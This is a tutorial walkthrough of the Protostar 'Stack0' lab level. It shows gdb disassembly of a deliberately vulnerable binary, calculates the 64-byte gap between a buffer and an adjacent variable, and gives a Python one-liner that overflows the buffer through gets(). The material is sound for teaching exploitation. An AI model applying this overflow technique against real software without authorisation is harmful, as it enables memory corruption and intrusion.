Protostar 0x00 - Stack0

Next: 0x01 - Stack1

With the virtual machine installed and ready to go, login with username: "user" and password: "user." From here you can jump right into the Protostar directory, but note that you will not be able to use any copy or paste commands from the VM to your machine and vice-versa.

If you would like to connect to the VM through your own machine, first locate the IP address of your VM. Enter /sbin/ifconfig and locate the IP address next to "inet addr."


Then, in your local machine, ssh into the VM using "shh user @[IP address]"


PS C:\Users\Alex> ssh user@192.168.174.128
The authenticity of host '192.168.174.128 (192.168.174.128)' can't be established.
RSA key fingerprint is SHA256:TDB3QcaGAHqizC3ytLbt+fHt/ajMmkTBA6A4QFKEaXk.
Are you sure you want to continue connecting (yes/no)? yes

Once in, navigate to the Protostar directory in /opt/protostar/bin


$ cd /opt/protostar/bin
$ ls
final0
final1
final2
format0
...

Now, we're ready to get started. According to the webpage, the objective of this level is to modify a variable called "modified." Here's the source code:



This is simple enough. There are two variables pushed onto the stack: modified, which is set to 0, then buffer, which takes our input via "gets" which provides no bounds checking. This is confirmed on the man page: "No check for buffer overrun is performed." You probably already have your suspicions about how to solve this introductory level, but let's open this program with gdb to see how it all works "under the hood" first.


$ gdb ./stack0
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /opt/protostar/bin/stack0...done.


Let's disassemble main with "disassemble main" or simply "disas main."


(gdb) disas main
Dump of assembler code for function main:
0x080483f4 <main+0>:    push   %ebp
0x080483f5 <main+1>:    mov    %esp,%ebp
0x080483f7 <main+3>:    and    $0xfffffff0,%esp
0x080483fa <main+6>:    sub    $0x60,%esp
0x080483fd <main+9>:    movl   $0x0,0x5c(%esp)
0x08048405 <main+17>:   lea    0x1c(%esp),%eax
0x08048409 <main+21>:   mov    %eax,(%esp)
0x0804840c <main+24>:   call   0x804830c <gets@plt>
0x08048411 <main+29>:   mov    0x5c(%esp),%eax
0x08048415 <main+33>:   test   %eax,%eax
0x08048417 <main+35>:   je     0x8048427 <main+51>
0x08048419 <main+37>:   movl   $0x8048500,(%esp)
0x08048420 <main+44>:   call   0x804832c <puts@plt>
0x08048425 <main+49>:   jmp    0x8048433 <main+63>
0x08048427 <main+51>:   movl   $0x8048529,(%esp)
0x0804842e <main+58>:   call   0x804832c <puts@plt>
0x08048433 <main+63>:   leave
0x08048434 <main+64>:   ret
End of assembler dump.

After the stack frame is established through the first three instructions, main makes room for the variables on the stack by subtracting 0x60 from esp. Next, "0x0" is loaded into 0x5c(esp), which corresponds to the "modified = 0" instruction we recall from the source code. Thus, we know that 0x5c(esp) is the address of our "modified" variable. Then, the address of 0x1c(esp) is loaded into eax before the call to "gets," meaning that 0x1c(esp) must be the address of our "buffer" variable. 

Now, if you recall, the stack typically grows towards lower memory address, and that is true for this system. This means that, if "buffer" is closer to esp than "modified" is,  then "modified" is above the "buffer" variable. If we overflow "buffer," we can overwrite "modified." How much do we need to overflow?

If we subtract "buffer's" esp offset of 0x1c from "modified's" esp offset of 0x5c, we can confirm that they are 0x40 bytes apart, or 64 characters. Thus, if we write even one byte over the intended buffer of 64 bytes, we accomplish the objective.

We could certainly leave our finger on the "A" key for a while to accomplish this, but it will be good to start practicing with Python for this. Write a quick one-liner Python script to print exactly 65 bytes of "A" and pipe it into "stack0."


$ python -c 'print "A" * 65' | ./stack0
you have changed the 'modified' variable


Mission accomplished!

Next: 0x01 - Stack1